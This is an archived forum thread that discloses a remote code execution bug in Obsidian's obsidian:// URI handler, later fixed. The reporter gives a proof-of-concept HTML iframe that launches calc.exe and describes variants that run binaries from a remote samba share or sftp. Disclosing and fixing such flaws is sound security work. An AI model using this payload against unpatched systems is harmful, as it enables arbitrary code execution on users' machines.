# Possible remote code execution through obsidian:// URI scheme

**URL:** <https://forum.obsidian.md/t/possible-remote-code-execution-through-obsidian-uri-scheme/39743>\
**Category:** Bug graveyard\
**Tags:** repro\
**Created:** [July 2, 2022, 7:04am UTC](https://forum.obsidian.md/t/possible-remote-code-execution-through-obsidian-uri-scheme/39743 "2022-07-02T07:04:45Z")\
**Posts on this page:** 6\
**Page:** 1

<div class="post-metadata">

**Author:** ![sxy](https://forum.obsidian.md/user_avatar/forum.obsidian.md/sxy/32/31660_2.png) [@sxy](https://forum.obsidian.md/u/sxy)\
**Post date:** [July 2, 2022, 7:04am UTC](https://forum.obsidian.md/t/possible-remote-code-execution-through-obsidian-uri-scheme/39743/1 "2022-07-02T07:04:45Z")

</div>

### Steps to reproduce

1. Create a html file with iframe tag, then serves it on HTTP server.

```html
<!-- exploit.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Exploit</title>
</head>
<body>
    <iframe src="obsidian://hook-get-address?x-success=file:///c:/windows/system32/calc.exe%00"></iframe>
</body>
</html>

```

1. Open the html file in the browser. Modern web browser may popup a window to confirm to open Obsidian.exe, if we choose “Open Obsidian”, the command will be executed and popup a calc.exe.

### Environment

- Operating system:  
Tested on Windows client latest version 0.14.15.

* * *

### Additional information

When Obsidian receive `hook-get-address` action, it will use `window.open` to open any provided uri without validation, attacker can use remote samba server to execute any binary (e.g. `x-success=\\samba server\shares\shellcode.exe`, `x-success=file://samba server/shares/rce.jar`) or other protocol like `sftp://`.

CVSS v3.1 Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H  
CWE Types: [CWE-20](http://cwe.mitre.org/data/definitions/20.html) Improper Input Validation

---

<div class="post-metadata">

**Author:** ![WhiteNoise](https://forum.obsidian.md/user_avatar/forum.obsidian.md/whitenoise/32/11_2.png) [@WhiteNoise](https://forum.obsidian.md/u/WhiteNoise)\
**Post date:** [July 2, 2022, 12:43pm UTC](https://forum.obsidian.md/t/possible-remote-code-execution-through-obsidian-uri-scheme/39743/2 "2022-07-02T12:43:08Z")

</div>

Thanks, we’ll look into this shortly.

---

<div class="post-metadata">

**Author:** ![WhiteNoise](https://forum.obsidian.md/user_avatar/forum.obsidian.md/whitenoise/32/11_2.png) [@WhiteNoise](https://forum.obsidian.md/u/WhiteNoise)\
**Post date:** [July 5, 2022, 11:13pm UTC](https://forum.obsidian.md/t/possible-remote-code-execution-through-obsidian-uri-scheme/39743/3 "2022-07-05T23:13:03Z")

</div>

will be handled better in 0.15.5.

---

<div class="post-metadata">

**Author:** ![sxy](https://forum.obsidian.md/user_avatar/forum.obsidian.md/sxy/32/31660_2.png) [@sxy](https://forum.obsidian.md/u/sxy)\
**Post date:** [July 6, 2022, 1:45am UTC](https://forum.obsidian.md/t/possible-remote-code-execution-through-obsidian-uri-scheme/39743/4 "2022-07-06T01:45:09Z")

</div>

Thanks for quick resolution, can we request a CVE ID for this issue?

---

<div class="post-metadata">

**Author:** ![system](https://forum.obsidian.md/uploads/default/original/3X/b/e/bec35fbd23ab28909bb6bfe62cb32eb82dd34019.png) [@system](https://forum.obsidian.md/u/system)\
**Post date:** [July 13, 2022, 1:45am UTC](https://forum.obsidian.md/t/possible-remote-code-execution-through-obsidian-uri-scheme/39743/5 "2022-07-13T01:45:15Z")

</div>

Closed on July 13, 2022, 1:45am UTC

This topic was automatically closed 7 days after the last reply. New replies are no longer allowed.

---

<div class="post-metadata">

**Author:** ![WhiteNoise](https://forum.obsidian.md/user_avatar/forum.obsidian.md/whitenoise/32/11_2.png) [@WhiteNoise](https://forum.obsidian.md/u/WhiteNoise)\
**Post date:** [October 13, 2022, 2:53pm UTC](https://forum.obsidian.md/t/possible-remote-code-execution-through-obsidian-uri-scheme/39743/6 "2022-10-13T14:53:43Z")

</div>

Archived on October 13, 2022, 2:53pm UTC


